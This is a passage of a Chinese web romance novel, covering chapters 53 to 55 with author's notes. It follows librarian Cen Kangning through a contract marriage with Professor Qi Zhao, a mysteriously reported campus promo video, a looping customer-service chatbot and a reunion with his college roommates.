岑康宁不知道自己这是怎么了。 其实平时他就是一个共情能力很强的人,大学里的流浪猫生病,得了口炎。 岑康宁着急地一晚上没睡着觉。 第二天拿出自己兼职的工资紧急送它去宠物医院。 舍友不解。 曹帅说:“宁宁你干嘛,自己吃饭的钱都没有了,还带它去看病。” 岑康宁说:“我也不知道,但我就是放不下。” 后来他吃了一个多月的馒头就咸菜。 把那只小猫救了下来。 但其实,岑康宁知道,祁钊跟小猫是不一样的。他强大,成熟,而且有着数倍于自己的存款和收入。 祁钊完全可以照顾的好自己。 从他催吐的速度,和他调整状态的时间上就可见一斑。 可岑康宁就是放不下,还是会忍不住地担心。 其实,比起送小猫去医院,岑康宁知道自己能为祁钊做到的实在是太少了。 语言上的安慰也显得空洞无比。 可哪怕只是一块儿最普通的不过的香煎三文鱼,能让祁钊感觉好受点儿,岑康宁也乐意。 所以后来,祁钊有好点了吗? 吹风机的热风吹到他脑袋上的时候,岑康宁想,嗯,肯定好点儿了。 不然这人不会现在顶着那么明显的身体反应还有心情给自己吹头发。 岑康宁就奇了怪了。 难不成祁钊的身体构造跟普通人不一样,这么顶着,不难受吗? 反正岑康宁是快难受地不行了。 尤其是祁钊还凑过来给他吹头发。 热气从吹风机的风筒中传出来,也从祁钊身体的每一个毛孔中传出来。 岑康宁快要被热化了。 如果不是他与祁钊约好了只在每周五的晚上发生关系,他觉得自己可能下一秒就在浴室里把人扑倒。 但,今天真的只是周四。 还不行。 一想到这里岑康宁就难免有些丧气,分明主动签合同的是他,想要把时间定在周五晚上不影响工作的也是他。 可为什么? 逐渐地会对此感到不满呢? 并且,在吹风机呼呼的风声中,岑康宁看着镜子中陌生的自己与身后没什么表情,专心给他吹头发的祁钊,想: 让他感到不满地也许不止今天是周四。 而是不满的人似乎只有自己。 单方面的渴望似乎总叫人懊恼,一想到这个事实,那种不亚于见到小猫生病的心痛感就猝不及防涌现。 像有一根针忽然扎了岑康宁一下。 把岑康宁从幻觉中扎醒。 他蓦地抓住吹风机,在吹风机关掉以后,垂下眼,恹恹地说:“好了,我去休息。” 但祁钊沉默了一会儿,却说:“你可能还不能休息。” 岑康宁不解:“为什么?” 祁钊说:“十二点了。” 他指了指手机上的时间。 岑康宁还是不明就里:“十二点,所以呢?”难道这个点而不是更该去睡觉? 明早还要上班呢。 却见祁钊慢条斯理拿开围在自己身上的浴巾,随后也拿下他的,说:“十二点,所以是周五。” 岑康宁:“……” 作者有话说: [三花猫头]重新定义周五[三花猫头] 第53章 岑康宁第一次知道有人这样定义周五的晚上。 周五算一部分。 晚上算另一部分。 偏偏自己还没有反驳的余地,就说现在是不是周五晚上吧! 这件事导致的后果就是第二天岑康宁起来的时候,看着身边熟睡的祁钊,一瞬间精神恍惚,以为今天不需要上班了。 直到闹铃声响起。 他头疼欲裂。 “靠!为什么今天还是周五?” 不满地抱怨声中,祁钊徐徐睁开眼皮。 但显然这人还没完全醒,黑漆漆的眼睛里没有任何神采聚焦。 岑康宁见状笑出声来,觉得挺有意思的:“再不醒今天要迟到了。” 祁钊抿了抿唇,不说话,但他的动作却完全暴露了他此刻的心绪。 从来都是五点钟准时起床开始健身吃早餐的祁教授。 今天都七点半了,竟然孩子气的把被子蒙在头顶。 岑康宁也是第一次见到这幅画面,顿觉新奇,趴过去贴在人耳朵旁边说:“钊哥,你今天不会要翘班吧?如果你今天翘班的话,那我也不想去了。” 过了好一会儿。 被子下的人回答:“不去。” 但下一秒,他掀开被子,坐直了身体。 “今天有一个实验。” 只有床头感应灯亮起的卧室里,祁钊的声音里带着几分沙哑沉闷,还有几分懊恼。 其实昨晚就该做的,但因为接二连三的意外而推迟。 这种事情本不该出现在祁钊的计划列表里。 可奇怪的是,当它真的出现以后,祁钊也并不讨厌。 岑康宁却听不出他的懊恼,只当他还是不想起,心情很好地说:“起吧,现在起的话,我待会儿还可以蹭你的车去。” 说来也挺好玩的。 明明两人在一个地方上班。 但岑康宁却从来没有蹭过祁钊的顺风车去学校。 每天他醒来的时候,祁钊早就上班去了;而每天他下班回家的时间,祁钊往往都还在办公室里。 两人不太吻合的作息导致他们见面的机会非常少。 往往只有睡觉前那十多分钟可以见面。 大多数的时候岑康宁觉得挺好的,不过偶尔的时候,也会像现在这样,觉得能够坐在副驾驶上的感觉更好。 “真好,开车就是快。” 岑康宁笑眯眯道:“竟然还能赶上最后一笼梅干菜包,往常要是这个点儿出发,梅干菜包绝对就没有了。” 祁钊踩下电门,将车直接往校门里开。 系统识别出他的车牌号,自动打开了栅栏。 咯噔—— 车轮碾过减速带的时候。 祁钊开口道:“你有驾照吗?” 正咬着包子的岑康宁:“有,你问这个干什么?” 祁钊:“送你一辆车。” 岑康宁:“……” 因为祁钊的一句话,岑康宁差点惊得噎住。他连忙给自己灌了好几大口豆浆的同时,不忘批评祁钊: “以后不要乱说这种话了!” “万一我当真了怎么办?一高兴今天下午就去选车试驾了怎么办?” “别随便许愿,我可知道,英伟达股票最近跌了不少吧?” 车正好开到图书馆附近,因此祁钊没来及回应这些批评。 — 岑康宁带着自己包子跟豆浆下了车,正好差一分钟八点。 不过图书馆不打卡。 所以他没怎么着急,而是不急不缓地走到文艺馆里。 结果今天不怎么走运气,平常到九十点都不会有人光顾的文艺馆,今天竟然一大早,才刚八点就有一个人站在门口等岑康宁。 岑康宁认出是当初那个拍宣传片的学生导演,有些惊讶。 “王导,你怎么来了?” 王长旭见到岑康宁后感到高兴,像是终于找到救星:“小岑老师,您终于来了!” 岑康宁:“那个,我好像也没迟到吧?” 说罢他看了眼手表,没啊。 才八点零三分钟。 完全不算迟到。 都不说夏老师了,李明玉这个点儿都还没过来。 王长旭听完连声对岑康宁道歉:“对不起对不起,是我说错话了小岑老师。你没迟到,主要是我太着急了。” 岑康宁:“哈?” 岑康宁属实没想明白,都找他了,能有什么着急的事情? 但很快王长旭对他道明来意。 原来是宣传片这两天已经上线了,在各大社交媒体平台都广受好评,尤其是岑康宁的某几个镜头,堪称出圈式的爆火。 P大史上从没出现过这么火爆的新生宣传片。 所以操办这件事的上下,包括领导都非常满意,甚至决定给王长旭所在的社团发一笔奖金。 可不知怎么回事。 从前天晚上开始,宣传片就遭到了大量举报。 虽说后来查明情况,不是举报宣传片主体,而是举报底下的评论区。 但众所周知,一个视频的评论区若是被接二连三举报,而且举报成功的话,那这个视频就离被限流不远了。 “要是纯粹限流的话我也不用那么着急,毕竟上线好几天了,也不需要那么大流量。” “那是?” “昨天晚上半夜,视频直接被删除了!” 岑康宁:“哈?” “问题确实挺大的。”岑康宁想了想道。 毕竟P大作为top高校,马上就迎来新生的入校,别的学校各种宣传片早都宣发的飞起,而P大的视频却惨遭删除,这叫老大哥的颜面往哪里放? 不过岑康宁不太明白。 “但我也帮不上什么忙啊。” 岑康宁如实道:“你也看到了,我就是一个图书馆普通员工,可没有什么社交平台经验或者人脉能帮到你。” 却见王长旭苦笑了一声:“那个,小岑老师,您真不知道啊?” “什么?” “看来是真不知道了。” 王长旭叹了口气:“因为被举报删除的评论都是有关您的,所以一开始,我们还以为是您举报的呢。” “怎么可能!” 岑康宁脱口而出:“我连刷都没刷到过这个视频。” 王长旭道:“我也是刚刚才意识到……” 岑康宁不由得蹙起眉心:“视频呢?现在还在吗?” 王长旭说:“源文件在,但平台上的已经被删了。” 岑康宁说:“你先拿来我看看吧。” 王长旭便打开手机,播放了这条凝聚了自己心血,却惨被举报下架的校园宣传视频。 五分钟后,岑康宁看完了。 说实话,王长旭这个视频拍的确实还算可以,风景优美,人物形象鲜明,活灵活现地展现了P大全方位的优点。 而且岑康宁自己也承认,里面的几个镜头把他拍的挺好看的。 甚至还有两个脸部特写镜头。 没记错的话是来自二号机,也就是孔宇真拍的。 但看完整个视频岑康宁也没搞明白这个视频被举报的原因是什么。 “难道是因为P大的校园设施太显眼,被隔壁W大举报?” 岑康宁猜测道。 王长旭却一口否定:“我们一开始也这么猜,毕竟W大那帮人老老阴比了,干这种鸡鸣狗盗的事情不是第一次。可后来我们有个组员自己的评论也被举报了,才发现不是这么一回事。” 岑康宁问:“他发什么了被举报?” “额,这个……” 王长旭一本正经的脸忽然一红,看着岑康宁支支吾吾说不出话了。 岑康宁:“?” 过了好一会儿,王长旭才低着头,把手机递给岑康宁:“要不小岑老师您还是自己看吧,这是一开始的评论区录屏。” 岑康宁下意识接过来,结果第一眼差点就被辣到眼睛。 “3分59秒出现的那个人,不是我老婆吗?怎么出现在你们的视频里,我要抗议!” 岑康宁:“……” 不是,你把话说清楚,谁是你老婆了? 而果然底下的评论区跟着一起起哄。 “闭嘴,才不是你老婆,明明是我老婆,你们看这是我们俩的结婚证,我放在这里了。” 自然结婚证是P的。 证上的照片是岑康宁在视频里的截图与他自己的头像。 但这不妨碍网友们起哄: “你老婆好漂亮啊,恭喜恭喜!” “老婆嘿嘿,嘿嘿,斯哈斯哈——” 后面的岑康宁实在不忍直视,就没看了。 王长旭有点尴尬地接过手机:“小岑老师,真不是您举报的吗?” 岑康宁:“当然不是。” “那就见了鬼。” 王长旭说:“被举报的评论其实都是此种类型。” 岑康宁思忖了一番,觉得这说不定是自己从前一些疯批追求者干的事儿。 比如魏书训,又比如何明博。 这两人是真能做出这种事情。 而其中最有可能的又是魏书训,毕竟魏书训在P大读研,他更有可能刷到这个视频。 想了想,岑康宁说:“我大概可以猜到是谁,我去找他说一声,王导你重新上架视频吧。” 王长旭一听这话连声点头:“好好好,那麻烦您了小岑老师。” 岑康宁说:“不麻烦。” 但其实找魏书训的时候,还是有些麻烦的。 毕竟岑康宁早把这人拉黑了,还是从扣扣黑名单里才把人找出来。 可岑康宁没想到的是,自己还没说明来意。 魏书训就很气性很大地对他发火。 “岑康宁,你至于吗?我只是在私人账号里发了几张你的照片,而且照片还是从视频里截图出来的,又没有偷拍你,结果你举身份证把我账号封了?” 岑康宁:“?” 不是魏书训干的。 那还能是谁? 说实话,岑康宁一时想不到,毕竟从小到大他身上的烂桃花都不少。 怀疑魏书训也只是因为魏书训在P大。 可若是人不在P大,只是单传凑巧刷到视频的话,范围就大了。 正感到难办的时候。 王长旭却已经重新上传了视频。 他在微信里发了链接给岑康宁,说:“小岑老师,视频重新上传好了,您那边儿没问题吧?” 岑康宁:“……嗯呢。” 这句嗯呢回复的相当心虚。 因为魏书训看上去好像并不是举报者。 但岑康宁此时还抱有侥幸心理,心说,万一这回重新上架以后,那人就关注不到了呢? 而且之前有那么多人喊老婆宝贝的被举报。 这一次应该不敢喊了。 就这样,他点开了新上传好的视频,不到两分钟的时间,视频上开始逐渐有弹幕飘起。 “老婆,俺胡汉三又回来了了!” “嘿嘿,我还有小号,没想到吧博主?举报一个有无数个,哼,谁都不能阻止我跟老婆贴贴。” 岑康宁:“……” 不出意料这条视频很快又被举报下架。 王长旭在微信里都快急哭了。 “救命啊小岑老师,我上任部长的第一年,第一次承包学校这么重要的宣传任务,P大每年开学新生宣传季,不能在我这里砸了锅啊!” 岑康宁安抚着心急如焚的王长旭:“别着急王导,我刚刚似乎找错人了,我再想想。” 王长旭:“【哭】【哭】!小岑老师你可千万要找到那个内心阴暗的变/态呀!” 岑康宁不由得哑然失笑。 内心阴暗的变/态吗? 虽然他觉得此人的行为确实有点阴暗,但变态还谈不上,所以应该可以排除何明博。 那到底是谁呢? 岑康宁正陷入沉思,李明玉不紧不慢,哼着小曲儿穿着新裙子来上班了。 “早啊小岑老师,一大早干嘛这么愁眉苦脸?” 岑康宁见到李明玉,顿时觉得见到救星:“玉姐你来了!快来帮我破案。” 李明玉:“破案?” 岑康宁道:“对,就是破案。你知道前段时间我拍了个校园宣传片的事儿吧?” 李明玉说:“知道啊,就被举报下架的那个。” 岑康宁一脸震惊:“你都知道它被举报下架了?!” “笑话,这P大的事儿我什么不知道?” 李明玉得意一笑,随后道:“而且说实话吧,我早就知道会被删除了,当时还私信提醒过运营呢,结果他应该是没当回事吧。” 岑康宁更懵了:“到底怎么一回事?” 李明玉道:“小岑老师应该还不知道,自打你来了这个图书馆以后,就经常被人偷拍放在网上吧?” 岑康宁:“……” 说实话,岑康宁还真不知道。 但李明玉又说:“其实不知道也很正常,因为他们的偷拍发出去以后很快就都被举报了。” 说罢她不好意思地红了脸:“连我也……” 岑康宁挑挑眉:“你也?” 李明玉赶忙道歉:“对不起啊小岑老师,那时候真的只是觉得你有点儿帅,所以想发小红书分享一下,谁想到忽然就被举报了。所以那会儿我看到那个宣传片的时候就想,你们这些人一个个老婆老婆叫的起劲,等着吧,绝对被举报!” 岑康宁想了想,自己倒也不会特别介意这件事,无论是被拍照分享也好,还是被叫老婆。 学生们大多只是开玩笑。 出于欣赏他的态度,并没有什么恶意。 但他很好奇:“会是谁呢?” “那天我收到举报的后台显示,是相关人员用有效证件举报的。” 李明玉看着岑康宁,合理推理分析:“如果后台说的是真的,那不是您自己,就是小岑老师老公了。是他吗?” “怎么可能!” 岑康宁几乎是脱口而出。 李明玉反驳:“怎么不可能了,如果我有这么漂亮的老婆,我肯定也护的很紧啊。” 岑康宁摇头:“总之绝对不可能,他很忙的。” 主要原因也是岑康宁实在想象不到祁钊举着结婚证去举报这些人的画面,太吓人了。 “那我就不知道了,总不能是小岑老师的父母吧?” 李明玉道。 事情一度进入僵局,岑康宁想了想,说:“我自己试试吧,看看会不会被举报。如果还被举报,那我就只能请王导删掉我的那几帧特写,再重新上传视频。” 李明玉觉得这不失为一个好方法,但就是很可惜,锐评道:“那两帧特写才是这个宣传视频的精髓,没了特写,我看这视频也没什么必要上传了。” 岑康宁对她的评价不予置评,拿出手机,找到自己一个小号上传那两张特写截图的同时,忍着尴尬打字: “老婆。” 没带任何标签,也没带自己大名。 截图很快被发出去。 五分钟内一切好好的,风平浪静。结果五分钟后,就在岑康宁以为这条笔记安全着地的时候,还是被下架了。 下架原因:“用户实名举报您侵犯肖像权,小薯队长对您的笔记做出下架处理。” 岑康宁差点被气笑了:“倒反天罡啊你!” 作者有话说: 宁宁:一定有我证件的人举报的!太可恶了。 玉姐:所以那个人是? 宁宁:曾经有我户口本的娟姨。[菜狗][菜狗][菜狗] 第54章 岑康宁被迫拿出自己的身份证来跟对方battle。 “我就是岑康宁,发我自己哪里侵权了?” 小薯队长是个ai,显然也没处理过这种困难的事件,一时有些数据混乱。 “查询到该用户笔记数据异常。” 岑康宁:“转人工。” 小薯队长:“很高兴为您服务,请为本次小薯队长的服务打分,投诉请点这里。” 岑康宁手指不停地点点点:“投诉投诉投诉!看我怎么投诉你!” 于是半分钟后。 一个新的对话框出现。 大薯队长:“很高兴为您服务,请问您的诉求是?” 岑康宁:“……别以为你穿了新马甲我就不认识你了。” 大薯队长:“很高兴为您服务,请为本次小薯队长的服务打分,投诉请点这里。” 岑康宁:“……” 算了,岑康宁放弃跟这些人工智障对话了。 他很无力地将自己也被删掉笔记的截图发给王长旭,说:“王导,我也没办法了,我自己发也被举报。要不这样,你把我那几帧特写删除吧?” 王长旭自然不同意。 毕竟岑康宁的特写可是这条宣传片最吸引人的核心点,要是把特写删了,只凭最普通的宣传视频,哪里还会有人来点评赞? 但就连岑康宁自己发的截图也被删。 好吧。 王长旭只能妥协。 他垂头丧气地把视频做了删减,删减完后却还恋恋不舍:“小岑老师,您真的想不出是谁干的这事儿吗?” 岑康宁:“真想不出,不好意思啊王导。” 王长旭:“【哭】【哭】【哭】” 岑康宁给他发去一个摸摸头的安慰表情,便没有再跟他说话了。 过了一会儿王长旭给他发:“好像真的有用唉小岑老师,这回的没有被下架了,因为在视频底下嚎的人变少了不少。” 岑康宁松了口气的同时,也有点想笑:“给你添麻烦了。” 王长旭说:“麻烦到不至于,就是委屈,叫叫老婆怎么了嘛,感觉像是个不解风情的老古董举报的。” 岑康宁:“额……” 不解风情老古董。 怎么忽然想起了一个人呢? 但肯定不是这个人。 岑康宁晃晃脑袋,将那人人影从自己脑子里晃掉,说:“也许就单纯是bug,听说现在那些公司为了降本增效最近审核都用上人工智能了,人工智能你还不懂吗?写作智能读作智障。” 王长旭:“巧了,在下正是人工智能专业就读。” 岑康宁:“……” — 因为早上的这桩举报小插曲,岑康宁在工位上研究了一上午人工智能,连他最钟爱的男同小说都没看。 李明玉很惊讶:“小岑老师还研究是谁举报呢?” 岑康宁摇头:“没事,随便看看。” 李明玉说:“我这边儿倒是有一个思路,您参考一下。” “你说。” “这么大的工作量,要举报这么多人,肯定不是手动举报的,绝对是写了个脚本小程序。您有没有计算机系的追求者?” “计算机系?” 岑康宁努力想了想:“好像还真没有。” “土木系的倒是有很多。” 他看着自己保温杯上的logo,开玩笑道。 “等等,土木?”李明玉愣了一下,忽然脑子里闪过某个画面,说:“怎么听着有点儿熟悉呢?” 有那么一瞬间。 真相似乎已经距离李明玉很近很近。 只要稍微再找岑康宁确定几个细节,凭借着李明玉的头脑,一定可以推理出来。 可惜就在这千钧一发之际。 岑康宁接到一个电话。 嗯,还是来自土木系。 “喂宁宁,这会儿下班了吧?”电话那头,土木系优秀毕业生曹帅的声音里带着几分不加掩饰的高兴。 岑康宁正想说,刚下。 这时电话里又响起另一个人的声音,那声音更高亢一些:“这话说得,你以为我们宁宁在你们那种血汗工厂上班呢,都十二点了,肯定下了啊。” 岑康宁听完乐了:“老五,你也在啊?你们俩不会告诉我你们现在在P大门口等我吧?” “呀,小宁宁还是一如既往地聪明。” 宿舍老五,左梓轩盛赞道。 曹帅也笑了笑:“上个项目结束,我转正成功了。刚好有几天假期,就回来找你们玩几天。” 岑康宁道:“那你早说啊三哥,早说我去高铁站接你。” 左梓轩说:“什么高铁站,落后了吧,我们帅哥现在可是头等舱待遇。” 曹帅在电话那头应该是打了左梓轩一拳。 两人嘻嘻哈哈闹成一团。 一瞬间,岑康宁以为自己又回到了大学时的时光。 虽然他大学的时候经常忙着打工兼职,空闲的时间不多,但只要一有空闲,316的哥几个总能带给他快乐开心。 在宿舍里聊天打闹的时候。 岑康宁会忘记所有烦恼,仿佛自己只是一个最普通不过的男大生。 当时还不觉得有多珍贵,直到离开校园,岑康宁发现,自己是真怀念那段儿时光。 话不多说,岑康宁走出图书馆:“等着,你们就站在门口别动,我现在就去接你们。” 又问:“你们在哪个门?” 左梓轩道:“应该是东门吧?刚刚路过一个包子店,上面写着P大东门店。” “这不巧了么。” 岑康宁笑着:“我就离东门最近。” 说罢他挂断手机,也顾不得大中午的太阳,一路小跑着来到东门。 果然,烈日下的P大东门。 曹帅左梓轩跟俩大傻子一样站在太阳底下聊天。 曹帅看起来瘦了,也白了。 左梓轩则胖了一点儿,晒黑了不少。 见到两人,岑康宁不由得笑出声来的同时,三两步跑到两人面前:“你俩傻啊,怎么不找个阴凉的地方呆着。” 左梓轩眨巴眨巴眼,无辜道:“我区区一个Q大的,哪敢啊?!” 曹帅又给了他一拳:“你刚刚可不是这么说的,是谁刚刚说要让P大看看我们Q大实力的?” “绝对不是我。” 左梓轩信誓旦旦发誓道:“你们知道的,我一直都是P大最忠诚的狗腿子。” 曹帅、岑康宁:“……” 三人又站在门口嘻嘻哈哈开玩笑了一阵子。 岑康宁见两人头上都冒了汗,自己也热的不行,便说:“要不我们进去说吧,带你们去食堂吃个午饭,随便逛逛。” 曹帅道:“我是绝对愿意的,就不知道P大愿不愿意。” 岑康宁不解:“嗯?” 左梓轩道:“宁宁你还不知道贵校多难进吧,我俩昨天晚上就预约了,结果完全约不到号。本来帅哥说在咸鱼上找个学生把我们带进去,但那学生竟然把我们放鸽子了。” 岑康宁更不解了:“所以为什么不找我呢?” 曹帅说:“这不是本来想突然出现,给你一个惊喜么。” 左梓轩:“现在惊喜反正是没了,我就一个希望,宁宁你能把我们带进去。” “小事儿。” 岑康宁说。 说着他走向保安亭,不到一分钟左右的功夫,三人面前原本紧锁的大门徐徐打开。 左梓轩看愣了:“牌面啊,宁宁!” 岑康宁一笑,露出梨涡:“本校教职工了解一下。” 曹帅给他竖起大拇指:“两个字,牛比!” 三人就这样顺利走近校园。 因为正好是饭点儿的缘故,路上的学生不少。 梧桐树遮蔽的树荫小道上。 左梓轩左顾右盼,像刘姥姥进大观园一样,好奇道:“刚刚我就想说了,现在好像还没开学吧?为什么学校里人这么多?” “谁说不是呢。”说起这事儿岑康宁也是一肚子委屈:“我也是来了P大才知道,他们的图书馆不放暑假,24小时开。” “啊这?” 曹帅震惊:“那你这得加班到几点啊?” 左梓轩:“帅哥你看,你大厂病又犯了是不是,谁跟你说图书馆24小时开放就要加班的? “不加班吗?” 曹帅茫然。 “倒是的确不加。”岑康宁说:“有监控,也有学生兼职。” 左梓轩:“你看看,你看看!” 曹帅仿佛受到暴击:“……所以这世界上就我一个人加班是吧?” 岑康宁不忍心告诉他事实的真相,只好说:“其实,老大在非洲应该也是加的吧。” 左梓轩:“小宁宁你还是太善良了,是我我就告诉他自己几点下班。” 曹帅:“你几点下班?” 岑康宁:“这个嘛……” 直到三人走到图书馆门口,曹帅才终于敢确认,是下午五点没有错。 他当时就站在图书馆门口不走了。 “馆里还招人不,我现在就想进去面试!” 左梓轩:“带上我带上我!我也去,研我都不读了。真的是人比人得哭,校比校得扔,今天来了P大,我才知道我在Q大都过得什么苦日子!” 岑康宁笑道:“这会儿Q大又不是你亲生父亲了?” 去年保研的时候,左梓轩就差一分能保。 本以为没戏了,结果最后院里通融,愣是给左梓轩保上了。 当时左梓轩就在宿舍里哭喊着永爱我Q,可谁曾想,还不到小半年的功夫,人就叛变了。 但当然,对此左梓轩是不承认的。 “父亲虽好,但我更爱我妈呀。” 左梓轩道:“以后P大就是我亲妈!” 曹帅道:“我就不一样了,P大是我亲太爷爷。” 左梓轩震惊:“曹帅同志,你这内卷的思想也太严重了吧?你要说个亲爷爷也就算了,亲太爷爷算怎么一回事?” 曹帅:“有没有一种可能,我是按建校时间算的?” 左梓轩竖起大拇指:“牛!” 三人站在图书馆门口又聊了一会儿。 岑康宁问两人想不想进去参观。 照理来说是可以的,因为P大图书馆一直是游客身份也能进去。不过两人都担心进图书馆会给岑康宁造成困扰,再加上曹帅早上刚下飞机一直也没吃饭,就说,要不先去吃饭吧。 岑康宁想,也是,这会儿正好是饭点。 两点以后就算是想吃,食堂里也基本没饭了。 他就安排道:“那我们去五食堂那边儿吧,五食堂人比较少,还有小包间可以坐一会儿聊聊天。” “好好好,都听你安排。” 左梓轩道。 曹帅也说好,两人就都跟在岑康宁身后往五食堂所在的方向走。 不过五食堂的缺点是距离图书馆稍微有些远。 几乎要穿越大半个校园。 但这也正和岑康宁的心意,这样的话一边走,他就能够一边跟两人介绍一下校园。 “这里是校博物院。” 岑康宁指着校园里一栋低矮,造型古朴的建筑道。 “学校里很多建筑物都推倒重建过,只有这一栋还保留了下来,最后就干脆做成了博物馆,里面珍藏一些过去的东西。” 三人步行向前。 “那边儿是操场,中午一般都没人,但早上跟晚上跑步的人都蛮多的。” 岑康宁又指着不远处的塑胶跑道:“P大的操场倒是没我们学校气派。” 左梓轩开玩笑道:“A市第一体育大学可不是浪得虚名。” 曹帅被逗乐了:“可不是,我还记得当年宁宁体测时候找我跑三千米,为此还给我带了一个星期早饭。” 提起这件囧事,岑康宁至今感到愤怒:“谁家好大学测三千米啊!五十米我勉强还行,三千米真是要了老命。” “我倒觉得三千米还好,但是那个坐位体前屈我真不行。” 曹帅吐槽道。 左梓轩补充:“反正我感觉人家P大的学生肯定是德智体美劳五全。” 曹帅瞥他一眼:“不至于吧老五,这么谄媚?” 左梓轩道:“你们前段时间没在网上刷到P大那个特奖评选吗?我都惊呆了,感觉那种人才是祖国未来的栋梁,我只是祖国未来的渣渣。” 岑康宁自然刷到过,非但刷到过,他还在学校里正面遭遇过暴击。 是以他道:“别提了,我刚进学校第一天就遇到他们的宣传,差点当场跪下。” 左梓轩:“是吧是吧,我可没说错,绝不是舔。” 岑康宁深以为然:“的确。” 这时曹帅道:“你们这么一说,我似乎也刷到过,不过我刷到的东西和你们不太一样。” “帅哥你刷到什么了?” “我刷到了评委。” 曹帅说着,看岑康宁一眼,笑道:“评委是祁教授吧?” 岑康宁眨眨眼。 说来也巧,提起祁钊的时候,三人正好走到生科楼前。这栋由各大公司与知名校友共同捐款,斥巨资盖好的生科大楼高耸入云,正午热烈的阳光下,外立面正闪烁着波纹状的光芒,宛若一汪竖立起来的碧蓝湖面。 而岑康宁还没开口介绍,左梓轩已经先一步看到了楼前“生命科学”四个大字,兴奋地指着着那四个字,说: “说曹操曹操到,这不是你老公工作的地方吗?小宁宁,说起来我们还没正式跟你老公见过面呢,正好也是中午吃饭时间,要不,叫他下来见见?” “额,这个……” 岑康宁的第一反应是,那怎么行。 第二反应是,他拒绝的态度也不能太僵硬,否则会被舍友发现自己与祁钊婚姻的端倪。 最后用了什么借口来婉拒岑康宁其实记不太清了。 只记得应该不算是一个特别蹩脚的借口。 然而,只是岑康宁自以为。 十分钟后五楼食堂的小包厢里。 岑康宁刷职工卡,将学校里的特色小炒点了个遍,还给三人一人点了杯冰奶茶。 可饶是这么多吃的喝的都堵不住哥俩的嘴。 菜还没上齐。 曹帅跟左梓轩彼此看了一眼后,曹帅忧心忡忡地就开了口: “宁宁,你老实跟我们说,他是不是对你不太好?” 岑康宁:“??” “不是,怎么会呢,你们想到哪里去了。” 岑康宁连声反驳。 左梓轩皱着眉道:“可是他连中午跟你的朋友吃顿饭都不肯,用的还是在看论文这种借口,论文什么时候不能看啊?” “的确。” 曹帅神情严肃道。 他看向岑康宁,比起数月前那晚的离别,更多了几分底气充足的坚定。 “宁宁你放心告诉我们吧,我说过,无论你遇到什么问题,我都会帮你的。” 曹帅其实想告诉岑康宁的是。 他现在转正了,一个月税后收入两万多,每年还有年终奖金。 不再是曾经刚毕业困窘的自己,现在的他完全有能力帮到岑康宁。 可岑康宁的反应却…… “没啊,我老公对我特别好,今天早上还说要给我买车呢。” 岑康宁半开玩笑似的道:“真的,我说要看论文真的也是看论文,他手底下很多学生,硕士博士,那些学生的论文都要让他指导呢,所以才没时间出来吃饭。” 左梓轩:“啊这……” 左梓轩看上去已经有点儿信了,但曹帅却还是有些半信半疑,他看岑康宁的表情就像是那种“你别骗我,我很难骗”“咱们之间还需要什么遮遮掩掩”的老父亲表情。 岑康宁也知道只靠嘴说很难让人相信。 便想到拿出证据。 可用什么证据呢? 对了,可以用手机。 岑康宁想到。 他下意识地拿出手机,想要让两个关心他婚姻生活的舍友们意识到自己都换上最新款iphone了,日子过得是真不差。 但就在岑康宁拿出手机给两人展示时,手机嗡地一声响,来了条最新短信。 于是乎,三目睽睽下,岑康宁预定最新款cybertruck成功的消息就这么暴露无疑。 直接导致的后果就是饭桌上三脸懵逼,菜都上齐了,还没一个人动筷子。 直到又过了好一会儿。 左梓轩先一步回过神来,笑道—— “今天所有的活动都由岑少买单,大家没意见吧?” 作者有话说: 岑少:其实我也不想秀的[害羞][害羞] 第55章 曹帅没意见。 岑康宁自然也没意见。 岑康宁没意见的原因是他本来就做好了买单的准备,毕竟是东道主,而且食堂消费又不贵,他就算全买了也不会怎么样。 而曹帅没意见的理由则简单粗暴的多—— 岑康宁如今都买得起一百来万的车了。 请他们吃顿食堂,总该绰绰有余吧? 左梓轩拿出手机,搜索cybertruck定价:“好家伙,果然上百万了,我就知道!” 下意识地,岑康宁问:“一百多少万?” 左梓轩:“一百九十五,嘻嘻。” 岑康宁、曹帅:“……” 曹帅面上难掩失落,但还是吐槽道:“你数学怎么学的,以后一百九十五万请说二百万好吗?” 左梓轩委屈道:“我一开始没注意到啊,就只看到前面那个1,心想肯定不是一千万吧,那应该就是一百多万,谁知道后头跟了个9,吓死宝宝了。” “哈哈,确实。” 曹帅笑出声来。 其实曹帅这会儿是有些尴尬的,毕竟自己才刚刚夸下海口,说要帮岑康宁。 可那是一百九十多万,不是一百九十块。 一百九十五万的车子说订就订,哪怕曹帅不吃不喝六年也不一定买得起。 他竟然还觉得祁钊对宁宁不好。 算了。 他还是先吃菜吧。 这样想着,曹帅发泄似的举起筷子,对准餐桌上的一道糖醋鱼。 而那头,岑康宁却已经完全无暇顾及这满桌子的菜,还有三哥那异常明显失落的表情。 他现在满心满眼都是那195万。 虽然知道,只是下了订,肯定还没付全款,但此时岑康宁的内心已经仿佛在滴血。 如果不是俩好哥们还在,那岑康宁高低打个电话过去骂祁钊一顿。 钱多了烧得慌是不是! 说了不要买,为什么还买? 而且买就买吧,说实话,手头宽裕了以后,岑康宁也不是没想过给自己买一辆代步车。 毕竟男人嘛,有谁不喜欢车的? 有了车以后不止是上下班方便,以后出门吃个饭呀,去找个朋友之类的,也都不用叫滴滴了。 可岑康宁自己放在收藏夹里的车是比亚迪秦。 最多最多,怕被误会成网约车,升级成大众朗逸。 至于特斯拉,岑康宁是没想过的;这牌子的车最低也要二十多万。 cybertruck自然更更更没想过。 这车他能看看就行,偶尔蹭一下祁教授的已经非常满足。 买一辆自己开? 岑康宁做梦都不敢做这么大。 可手机里那条短信的存在明晃晃地提醒着岑康宁,祁钊把早上那句话当真了。 非但当真了,还非常具有行动力的一大早就下了订。 登时岑康宁的脑海中闪过许多个画面,其中最显眼,最令人醒目的画面莫过于这两天英伟达股票下跌,以及比特币市场混乱的新闻消息。 想到这里,他几乎是片刻也不能忍受地,在饭桌上就给祁钊发去了消息。 “钊哥,车退了吧,我真不需要。” 然而直到饭局结束。 祁钊也没有回复他。 — 吃饱喝足以后,时间来到下午一点半。 距离岑康宁上班还有半个小时,岑康宁本来打算这半个小时再领两人在学校里逛一逛。 但曹帅跟左梓轩说什么都不肯。 “太累了宁宁,一大早飞机折腾到现在,我现在就想找个空调房睡一会儿。” 左梓轩站在曹帅身旁举着手:“加一,俺也累的不行。” 岑康宁想了想:“也行,大中午这么热的太阳我们到处溜达,中暑了怎么办?” 左梓轩:“就是啊,而且刚刚一路上不是差不多逛完了么?” 岑康宁:“还是有一些地方没逛到的。不过不打紧,以后多的是机会。” 曹帅道:“等晚上我们接着逛呗。” 